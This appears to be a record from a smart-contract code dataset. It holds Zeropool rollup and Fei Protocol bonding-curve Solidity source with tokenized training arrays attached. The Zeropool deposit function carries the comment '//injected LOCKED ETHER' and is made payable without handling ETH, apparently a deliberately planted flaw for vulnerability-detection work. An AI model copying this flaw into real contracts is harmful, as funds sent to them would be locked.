_;
}
modifier onlyAlive() {
require(get_alive(), "Contract stopped");
_;
}
function blockItemNoteVerify(BlockItemNote memory note)
internal
view
returns (bool)
{
(bytes32 itemhash, ) = blockItemHash(note.item);
return
MerkleProof.keccak256MerkleProof(
note.proof,
note.id & 0xff,
itemhash
) == get_rollup_block(note.id >> 8);
}
function blockItemNoteVerifyPair(
BlockItemNote memory note0,
BlockItemNote memory note1
) internal view returns (bool) {
(bytes32 itemhash0,) = blockItemHash(note0.item);
(bytes32 itemhash1,) = blockItemHash(note1.item);
return
MerkleProof.keccak256MerkleProof(
note0.proof,
note0.id & 0xff,
itemhash0
) ==
get_rollup_block(note0.id >> 8) &&
MerkleProof.keccak256MerkleProof(
note1.proof,
note1.id & 0xff,
itemhash1
) ==
get_rollup_block(note1.id >> 8) &&
itemhash0 != itemhash1;
}
function blockItemHash(BlockItem memory item)
internal
pure
returns (bytes32 itemhash, bytes32 txhash)
{
txhash = keccak256(abi.encode(item.ctx));
itemhash = keccak256(
abi.encode(txhash, item.new_root, item.deposit_blocknumber)
);
}
function groth16verify(
VK memory vk,
Proof memory proof,
uint256[] memory inputs
) internal view returns (bool) {
return Groth16Verifier.verify(vk.data, proof.data, inputs);
}
}
contract Zeropool is OptimisticRollup {
using AbstractERC20 for IERC20;
uint256 constant DEPOSIT_EXISTS = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint256 constant DEPOSIT_EXPIRES_BLOCKS = 480;
uint256 constant CHALLENGE_EXPIRES_BLOCKS = 480;
uint256 constant BN254_ORDER = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint256 constant MAX_AMOUNT = 1766847064778384329583297500742918515827483896875618958121606201292619776;
uint256 constant VERSION = 1;
event Deposit();
event DepositCancel();
event NewBlockPack();
event Withdraw();
function rollup_block(uint x) external view returns(bytes32) {
return get_rollup_block(x);
}
function deposit_state(bytes32 x) external view returns(uint256) {
return get_deposit_state(x);
}
function withdraw_state(bytes32 x) external view returns(uint256) {
return get_withdraw_state(x);
}
function rollup_tx_num() external view returns(uint256) {
return get_rollup_tx_num();
}
function alive() external view returns(bool) {
return get_alive();
}
function tx_vk() external view returns(VK memory) {
return get_tx_vk();
}
function tree_update_vk() external view returns(VK memory) {
return get_tree_update_vk();
}
function relayer() external view returns(address) {
return get_relayer();
}
function initialized() external view returns(bool) {
return get_version() < VERSION;
}
function version() external view returns(uint256) {
return VERSION;
}
function challenge_expires_blocks() external view returns(uint256) {
return CHALLENGE_EXPIRES_BLOCKS;
}
function deposit_expires_blocks() external view returns(uint256) {
return DEPOSIT_EXPIRES_BLOCKS;
}
function init(address relayer) external onlyUninitialized(VERSION) {
set_alive(true);
set_relayer(relayer);
set_version(VERSION);
}
function deposit(IERC20 token, uint256 amount, bytes32 txhash) //injected LOCKED ETHER
public
payable
returns (bool)
{
uint256 _amount = token.abstractReceive(amount);
bytes32 deposit_hash = keccak256(
abi.encode(msg.sender, token, _amount, block.number, txhash)
);
set_deposit_state(deposit_hash, DEPOSIT_EXISTS);
emit Deposit();
return true;
}
function depositCancel(PayNote memory d) public returns (bool) {
bytes32 deposit_hash = keccak256(abi.encode(d));
require(get_deposit_state(deposit_hash) >= get_rollup_tx_num());
require(d.blocknumber < block.number - DEPOSIT_EXPIRES_BLOCKS);
set_deposit_state(deposit_hash, 0);
d.utxo.token.abstractTransfer(d.utxo.owner, d.utxo.amount);
emit DepositCancel();
return true;
}
function withdraw(PayNote memory w) public returns (bool) {
bytes32 withdraw_hash = keccak256(abi.encode(w));
uint256 state = get_withdraw_state(withdraw_hash);
require(state < get_rollup_tx_num() && state != 0);
require(w.blocknumber < block.number - CHALLENGE_EXPIRES_BLOCKS);
set_withdraw_state(withdraw_hash, 0);
w.utxo.token.abstractTransfer(w.utxo.owner, w.utxo.amount);
emit Withdraw();
return true;
}
function publishBlock(
uint256 protocol_version,
BlockItem[] memory items,
uint256 rollup_cur_block_num,
uint256 blocknumber_expires
) public onlyRelayer onlyAlive returns (bool) {
uint256 cur_rollup_tx_num = get_rollup_tx_num();
require(rollup_cur_block_num == cur_rollup_tx_num >> 8, "wrong block number");
require(protocol_version == get_version(), "wrong protocol version");
require(block.number < blocknumber_expires, "blocknumber is already expires");
uint256 nitems = items.length;
require(nitems > 0 && nitems <= 256, "wrong number of items");
bytes32[] memory hashes = new bytes32[](nitems);
for (uint256 i = 0; i < nitems; i++) {
BlockItem memory item = items[i];
bytes32 itemhash = keccak256(abi.encode(item));
if (item.ctx.delta == 0) {
require(item.deposit_blocknumber == 0, "deposit_blocknumber should be zero in transfer case");
require(item.ctx.token == IERC20(0), "token should be zero in transfer case");
require(item.ctx.ext.owner == address(0), "owner should be zero in tranfer case");
} else if (item.ctx.delta < MAX_AMOUNT) {
bytes32 txhash = keccak256(abi.encode(item.ctx));
bytes32 deposit_hash = keccak256(
abi.encode(
item.ctx.ext.owner,
item.ctx.token,
item.ctx.delta,
item.deposit_blocknumber,
txhash
)
);
require(get_deposit_state(deposit_hash) == DEPOSIT_EXISTS, "unexisted deposit");
set_deposit_state(deposit_hash, cur_rollup_tx_num + i);
} else if (
item.ctx.delta > BN254_ORDER - MAX_AMOUNT &&
item.ctx.delta < BN254_ORDER
) {
require(item.deposit_blocknumber == 0, "deposit blocknumber should be zero");
bytes32 txhash = keccak256(abi.encode(item.ctx));
bytes32 withdraw_hash = keccak256(
abi.encode(
item.ctx.ext.owner,
item.ctx.token,
BN254_ORDER - item.ctx.delta,
block.number,
txhash
)
);
require(get_withdraw_state(withdraw_hash) == 0, "withdrawal already published");
set_withdraw_state(withdraw_hash, cur_rollup_tx_num + i);
} else revert("wrong behavior");
hashes[i] = itemhash;
}
set_rollup_block(cur_rollup_tx_num >> 8, MerkleProof.keccak256MerkleTree(hashes));
set_rollup_tx_num(cur_rollup_tx_num+256);
emit NewBlockPack();
return true;
}
function stopRollup(uint256 lastvalid) internal returns (bool) {
set_alive(false);
if (get_rollup_tx_num() > lastvalid) set_rollup_tx_num(lastvalid);
}
function challengeTx(BlockItemNote memory cur, BlockItemNote memory base)
public
returns (bool)
{
require(blockItemNoteVerifyPair(cur, base));
require(cur.item.ctx.rootptr == base.id);
uint256[] memory inputs = new uint256[](8);
inputs[0] = base.item.new_root;
inputs[1] = cur.item.ctx.nullifier[0];
inputs[2] = cur.item.ctx.nullifier[1];
inputs[3] = cur.item.ctx.utxo[0];
inputs[4] = cur.item.ctx.utxo[1];
inputs[5] = uint256(address(cur.item.ctx.token));
inputs[6] = cur.item.ctx.delta;
inputs[7] = uint256(keccak256(abi.encode(cur.item.ctx.ext))) % BN254_ORDER;
require(
!groth16verify(get_tx_vk(), cur.item.ctx.proof, inputs) ||
cur.item.ctx.rootptr >= cur.id
);
stopRollup(
cur.id &
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00
);
return true;
}
function challengeUTXOTreeUpdate(
BlockItemNote memory cur,
BlockItemNote memory prev,
uint256 right_root
) public returns (bool) {
require(blockItemNoteVerifyPair(cur, prev));
require(right_root != cur.item.new_root);
require(cur.id == prev.id + 1);
uint256[] memory inputs = new uint256[](5);
inputs[0] = prev.item.new_root;
inputs[1] = right_root;
inputs[2] = cur.id;
inputs[3] = cur.item.ctx.utxo[0];
inputs[4] = cur.item.ctx.utxo[1];
require(groth16verify(get_tree_update_vk(), cur.item.ctx.proof, inputs));
stopRollup(
cur.id &
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00
);
return true;
}
function challengeDoubleSpend(
BlockItemNote memory cur,
BlockItemNote memory prev
) public returns (bool) {
require(blockItemNoteVerifyPair(cur, prev));
require(cur.id > prev.id);
require(
cur.item.ctx.nullifier[0] == prev.item.ctx.nullifier[0] ||
cur.item.ctx.nullifier[0] == prev.item.ctx.nullifier[1] ||
cur.item.ctx.nullifier[1] == prev.item.ctx.nullifier[0] ||
cur.item.ctx.nullifier[1] == prev.item.ctx.nullifier[1]
);
stopRollup(
cur.id &
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00
);
return true;
}
// generated verification keys
function get_tx_vk() internal view override returns(VK memory vk) {
vk.data = new uint256[](32);
vk.data[0]=16697396276845359349763623132880681261946057173403665684116014317021563254655;
vk.data[1]=5587233253515298594979379376112193939999977226319827083400780508947632238748;
vk.data[2]=996344031357008752188061777727343821194999038419356867329464288563909617005;
vk.data[3]=19290932987249234962967288959963528407103065644647211765713208264341394525627;
vk.data[4]=8553749439216169983700315269252703464956761305522445870304892856460243321047;
vk.data[5]=7499331826236872853986916310426702508083585717393534257027110568354271287432;
vk.data[6]=17818442198315603854906648488684700215588900049016248299047528035268326306021;
vk.data[7]=15742330311792086244154238527312139581390392470409527670106624318539491230639;
vk.data[8]=15582884393435508760323520593128472668109949438533129736977260887861833544686;
vk.data[9]=21497591859374664749646772170336511135502780606163622402006911936080711585567;
vk.data[10]=7790006490742208514342359392548790920526758492331804655644059775462847493097;
vk.data[11]=13129551538859899483631249619546540237894645124538636048121349380930189507838;
vk.data[12]=4746286819103243220536118278269041624087200484408004244046357476009810846546;
vk.data[13]=18658744770115522082166315751608350375192957102952937317896374405594493134526;
vk.data[14]=19989489438779009436306295034063506403791061054909758505826349901018217062148;
vk.data[15]=12423258039559374001195155548721642852023802830208605918786258373002084367632;
vk.data[16]=7003237418971344613051082595005151675497565165987117592967572800525158824489;
vk.data[17]=7974534769221088592950139635833940989569216922408396815015576367720824241508;
vk.data[18]=11849446094135848442330464397836476735986056048931041670863652298683592522299;
vk.data[19]=5688048430194407294094808809106358923767040643882276446273178191473705984722;
vk.data[20]=15251866809401758881597063825677390012089302300318896335505843954313586308460;
vk.data[21]=382122240772754036035492924033721102122148609052952215005785336028904779974;
vk.data[22]=10812902853773819225346776822522835276124447801378031518741367874851505049128;
vk.data[23]=5441632396550715758039364769225858885484351780111874540894325037632766747975;
vk.data[24]=15786403199430745833044642273676411893860838678282184591801848247162444177171;
vk.data[25]=8656349755733447799905795854043134530429068654454399761530913385689890843892;
vk.data[26]=16208788594254936587671118621629101795259918519956251673155645395337803398644;
vk.data[27]=11008397050768236649236829775384097670794106671173713047158085580508730412294;
vk.data[28]=5000535825997546131883098495344030668482959620659549513047593209192484024554;
vk.data[29]=6037131813824258546352206109740790709325012719822508419478741594076251165562;
vk.data[30]=232537091421478948749164191800530205602104220622818161892691965271681780444;
vk.data[31]=8541890110169324141024763602672843893521937974195030991302885883209417356350;
}
function get_tree_update_vk() internal view override returns(VK memory vk) {
vk.data = new uint256[](26);
vk.data[0]=1117561174711447970699783508540835969335571306961098817222886978948744345711;
vk.data[1]=10780325785780371097555321883689276320673547412863821024704236163981475185231;
vk.data[2]=9190339596842207972698547696205148463284800225991013839726333455510728418061;
vk.data[3]=2787003181019705527994114183958804481617926021310039402048478633993643050257;
vk.data[4]=19025462432212307115968461300130326702118822938799182787816944256592782469896;
vk.data[5]=13374329695938559341973106697972813681348489436576893374756555356012735204935;
vk.data[6]=2391540205558897324637905451340679985349421498010435945591140422554529899138;
vk.data[7]=4538034768061760463973814808256573325692419571060079531866609248139564624084;
vk.data[8]=1676495264895295799704478861413793414754594619949871821864061782072790895386;
vk.data[9]=14126847152901573392009992091969331199931177575536794424151289240625771346641;
vk.data[10]=17538580900482196889842913547024185367722169963653894198473788114352852534451;
vk.data[11]=8190411413825327934159222466106546022021029229252021910318976779844785663832;
vk.data[12]=10967610977689797074852479085031480141553081046525341474335007496946965996889;
vk.data[13]=7518076114965605632016029983105922598125144277731467379298374011599641312871;
vk.data[14]=12707371020099695894329449101665177001847210301388750083164379479457407482586;
vk.data[15]=9638979230410286344537095100035451133751102850514918826098902859896696414299;
vk.data[16]=8486153680023739150613783925554306655861399968866354186425033515785337545045;
vk.data[17]=4326081295507141428403366893493945239683826229496173558026196418081249993919;
vk.data[18]=15025661877684012486667234299497831337050778534199450729135536609646068791727;
vk.data[19]=10170327312676973089401561543622362963624936244289159008674890415147237746815;
vk.data[20]=8249238187438221843102710918896640046224395740564573077618681767459880159151;
vk.data[21]=19333329033893998261051692597725252825459050054888992926855629308261440687681;
vk.data[22]=9410494220927663013897883141562056814411016181471810870390609726747759553716;
vk.data[23]=6569431686535661164713601709252422249188606253902167941201140375618464568594;
vk.data[24]=12006374143171123543831491679354588477211042045298704251427754348688205712072;
vk.data[25]=11397989004848280683211927657137052100877146185703927010611549774118733967444;
}
} | solium-disable-next-line | function set_address(bytes32 pos, address value) internal {
assembly {
sstore(pos, value)
}
}
| 12,696,899 | [
1,
18281,
5077,
17,
8394,
17,
4285,
17,
1369,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
67,
2867,
12,
3890,
1578,
949,
16,
1758,
460,
13,
2713,
288,
203,
3639,
19931,
288,
203,
5411,
272,
2233,
12,
917,
16,
460,
13,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./IBondingCurve.sol";
import "../refs/OracleRef.sol";
import "../pcv/utils/PCVSplitter.sol";
import "../utils/Incentivized.sol";
import "../pcv/IPCVDeposit.sol";
import "../utils/Timed.sol";
/**
* @title a bonding curve for purchasing FEI with ERC-20 tokens
* @author Fei Protocol
*
*/
contract BondingCurve is IBondingCurve, OracleRef, PCVSplitter, Timed, Incentivized {
using Decimal for Decimal.D256;
/// @notice the Scale target at which bonding curve price fixes
uint256 public override scale;
/// @notice the ERC20 token for this bonding curve
IERC20 public immutable override token;
/// @notice the total amount of FEI purchased on bonding curve
uint256 public override totalPurchased;
/// @notice the buffer applied on top of the peg purchase price once at Scale
uint256 public override buffer;
/// @notice the discount applied on top of peg before at Scale
uint256 public override discount;
/// @notice the cap on how much FEI can be minted by the bonding curve
uint256 public override mintCap;
uint256 public constant BASIS_POINTS_GRANULARITY = 10_000;
/// @notice constructor
/// @param _core Fei Core to reference
/// @param _oracle the price oracle to reference
/// @param _backupOracle the backup oracle to reference
/// @param _scale the Scale target where peg fixes
/// @param _pcvDeposits the PCV Deposits for the PCVSplitter
/// @param _ratios the ratios for the PCVSplitter
/// @param _duration the duration between incentivizing allocations
/// @param _incentive the amount rewarded to the caller of an allocation
/// @param _token the ERC20 token associated with this curve, null if ETH
/// @param _discount the discount applied to FEI purchases before reaching scale in basis points (1/10000)
/// @param _buffer the buffer applied to FEI purchases after reaching scale in basis points (1/10000)
constructor(
address _core,
address _oracle,
address _backupOracle,
uint256 _scale,
address[] memory _pcvDeposits,
uint256[] memory _ratios,
uint256 _duration,
uint256 _incentive,
IERC20 _token,
uint256 _discount,
uint256 _buffer
)
OracleRef(_core, _oracle, _backupOracle, 0, false)
PCVSplitter(_pcvDeposits, _ratios)
Timed(_duration)
Incentivized(_incentive)
{
_setMintCap(_scale); // default mint cap is scale
_setScale(_scale);
token = _token;
discount = _discount;
emit DiscountUpdate(0, _discount);
buffer = _buffer;
emit BufferUpdate(0, _buffer);
_initTimed();
if (address(_token) != address(0)) {
_setDecimalsNormalizerFromToken(address(_token));
}
}
/// @notice purchase FEI for underlying tokens
/// @param to address to receive FEI
/// @param amountIn amount of underlying tokens input
/// @return amountOut amount of FEI received
function purchase(address to, uint256 amountIn)
external
payable
virtual
override
whenNotPaused
returns (uint256 amountOut)
{
require(msg.value == 0, "BondingCurve: unexpected ETH input");
SafeERC20.safeTransferFrom(token, msg.sender, address(this), amountIn);
return _purchase(amountIn, to);
}
/// @notice balance of the bonding curve
/// @return the amount of PCV held in contract and ready to be allocated
function balance() public view virtual override returns (uint256) {
return token.balanceOf(address(this));
}
/// @notice sets the bonding curve Scale target
function setScale(uint256 newScale) external override onlyGovernorOrAdmin {
_setScale(newScale);
}
/// @notice resets the totalPurchased
function reset() external override onlyGovernorOrAdmin {
uint256 oldTotalPurchased = totalPurchased;
totalPurchased = 0;
emit Reset(oldTotalPurchased);
}
/// @notice sets the bonding curve price buffer
function setBuffer(uint256 newBuffer) external override onlyGovernorOrAdmin {
require(
newBuffer < BASIS_POINTS_GRANULARITY,
"BondingCurve: Buffer exceeds or matches granularity"
);
uint256 oldBuffer = buffer;
buffer = newBuffer;
emit BufferUpdate(oldBuffer, newBuffer);
}
/// @notice sets the bonding curve price discount
function setDiscount(uint256 newDiscount) external override onlyGovernorOrAdmin {
require(
newDiscount < BASIS_POINTS_GRANULARITY,
"BondingCurve: Buffer exceeds or matches granularity"
);
uint256 oldDiscount = discount;
discount = newDiscount;
emit DiscountUpdate(oldDiscount, newDiscount);
}
/// @notice sets the allocate incentive frequency
function setIncentiveFrequency(uint256 _frequency) external override onlyGovernorOrAdmin {
_setDuration(_frequency);
}
/// @notice sets the mint cap for the bonding curve
function setMintCap(uint256 _mintCap) external override onlyGovernorOrAdmin {
_setMintCap(_mintCap);
}
/// @notice sets the allocation of incoming PCV
function setAllocation(
address[] calldata allocations,
uint256[] calldata ratios
) external override onlyGovernor {
_setAllocation(allocations, ratios);
}
/// @notice batch allocate held PCV
function allocate() external override whenNotPaused {
uint256 amount = balance();
uint256 usdValueHeld = readOracle().mul(amount).asUint256();
// the premium is the USD value held multiplied by the buffer that a user would pay to get FEI assuming FEI is $1
uint256 premium = usdValueHeld * buffer / BASIS_POINTS_GRANULARITY;
// this requirement mitigates gaming the allocate function and ensures it is only called when sufficient demand has been met
require(premium >= incentiveAmount, "BondingCurve: Not enough PCV held");
_allocate(amount);
// if window has passed, reward caller and reset window
if (isTimeEnded()) {
_initTimed(); // reset window
_incentivize();
}
emit Allocate(msg.sender, amount);
}
/// @notice a boolean signalling whether Scale has been reached
function atScale() public view override returns (bool) {
return totalPurchased >= scale;
}
/// @notice returns how close to the minting cap we are
function availableToMint() public view override returns (uint256) {
return mintCap - totalPurchased;
}
/// @notice return current instantaneous bonding curve price
/// @return price reported as FEI per USD
/// @dev Can be inaccurate if outdated, need to call `oracle().isOutdated()` to check
function getCurrentPrice()
public
view
override
returns (Decimal.D256 memory)
{
if (atScale()) {
return _getBufferMultiplier();
}
return _getBondingCurvePriceMultiplier();
}
/// @notice return amount of FEI received after a bonding curve purchase
/// @param amountIn the amount of underlying used to purchase
/// @return amountOut the amount of FEI received
/// @dev Can be innacurate if outdated, need to call `oracle().isOutdated()` to check
function getAmountOut(uint256 amountIn)
public
view
override
returns (uint256 amountOut)
{
// the FEI value of the input amount
uint256 feiValueOfAmountIn = readOracle().mul(amountIn).asUint256();
Decimal.D256 memory price = getCurrentPrice();
if (!atScale()) {
uint256 preScaleAmount = scale - totalPurchased;
// crossing scale
if (feiValueOfAmountIn > preScaleAmount) {
uint256 postScaleAmount = feiValueOfAmountIn - preScaleAmount;
// combined pricing of pre-scale price times the amount to reach scale and post-scale price times remainder
return price.mul(preScaleAmount).add(_getBufferMultiplier().mul(postScaleAmount)).asUint256();
}
}
amountOut = price.mul(feiValueOfAmountIn).asUint256();
}
/// @notice mint FEI and send to buyer destination
function _purchase(uint256 amountIn, address to)
internal
returns (uint256 amountOut)
{
updateOracle();
amountOut = getAmountOut(amountIn);
require(availableToMint() >= amountOut, "BondingCurve: exceeds mint cap");
_incrementTotalPurchased(amountOut);
fei().mint(to, amountOut);
emit Purchase(to, amountIn, amountOut);
return amountOut;
}
function _incrementTotalPurchased(uint256 amount) internal {
totalPurchased = totalPurchased + amount;
}
function _setScale(uint256 newScale) internal {
require(newScale != 0, "BondingCurve: zero scale");
uint256 oldScale = scale;
scale = newScale;
emit ScaleUpdate(oldScale, newScale);
}
function _setMintCap(uint256 newMintCap) internal {
require(newMintCap != 0, "BondingCurve: zero mint cap");
uint256 oldMintCap = mintCap;
mintCap = newMintCap;
emit MintCapUpdate(oldMintCap, newMintCap);
}
/// @notice the bonding curve price multiplier used before Scale
function _getBondingCurvePriceMultiplier()
internal
view
virtual
returns (Decimal.D256 memory)
{
uint256 granularity = BASIS_POINTS_GRANULARITY;
// uses 1/1-b because the oracle price is inverted
return Decimal.ratio(granularity, granularity - discount);
}
/// @notice returns the buffer on the post-scale bonding curve price
function _getBufferMultiplier() internal view returns (Decimal.D256 memory) {
uint256 granularity = BASIS_POINTS_GRANULARITY;
// uses 1/1+b because the oracle price is inverted
return Decimal.ratio(granularity, granularity + buffer);
}
// Allocates a portion of escrowed PCV to a target PCV deposit
function _allocateSingle(uint256 amount, address pcvDeposit)
internal
virtual
override
{
SafeERC20.safeTransfer(token, pcvDeposit, amount);
IPCVDeposit(pcvDeposit).deposit();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../external/Decimal.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IBondingCurve {
// ----------- Events -----------
event ScaleUpdate(uint256 oldScale, uint256 newScale);
event MintCapUpdate(uint256 oldMint, uint256 newMint);
event BufferUpdate(uint256 oldBuffer, uint256 newBuffer);
event DiscountUpdate(uint256 oldDiscount, uint256 newDiscount);
event Purchase(address indexed to, uint256 amountIn, uint256 amountOut);
event Allocate(address indexed caller, uint256 amount);
event Reset(uint256 oldTotalPurchased);
// ----------- State changing Api -----------
function purchase(address to, uint256 amountIn)
external
payable
returns (uint256 amountOut);
function allocate() external;
// ----------- Governor only state changing api -----------
function reset() external;
function setBuffer(uint256 newBuffer) external;
function setDiscount(uint256 newDiscount) external;
function setScale(uint256 newScale) external;
function setAllocation(
address[] calldata pcvDeposits,
uint256[] calldata ratios
) external;
function setIncentiveFrequency(uint256 newFrequency) external;
function setMintCap(uint256 newMintCap) external;
// ----------- Getters -----------
function getCurrentPrice() external view returns (Decimal.D256 memory);
function getAmountOut(uint256 amountIn)
external
view
returns (uint256 amountOut);
function scale() external view returns (uint256);
function atScale() external view returns (bool);
function buffer() external view returns (uint256);
function discount() external view returns (uint256);
function totalPurchased() external view returns (uint256);
function balance() external view returns (uint256);
function token() external view returns (IERC20);
function mintCap() external view returns (uint256);
function availableToMint() external view returns (uint256);
}
/*
Copyright 2019 dYdX Trading Inc.
Copyright 2020 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMath for uint256;
// ============ Constants ============
uint256 private constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Static Functions ============
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
// ============ Self Functions ============
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ Core Methods ============
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./IOracleRef.sol";
import "./CoreRef.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
/// @title Reference to an Oracle
/// @author Fei Protocol
/// @notice defines some utilities around interacting with the referenced oracle
abstract contract OracleRef is IOracleRef, CoreRef {
using Decimal for Decimal.D256;
using SafeCast for int256;
/// @notice the oracle reference by the contract
IOracle public override oracle;
/// @notice the backup oracle reference by the contract
IOracle public override backupOracle;
/// @notice number of decimals to scale oracle price by, i.e. multiplying by 10^(decimalsNormalizer)
int256 public override decimalsNormalizer;
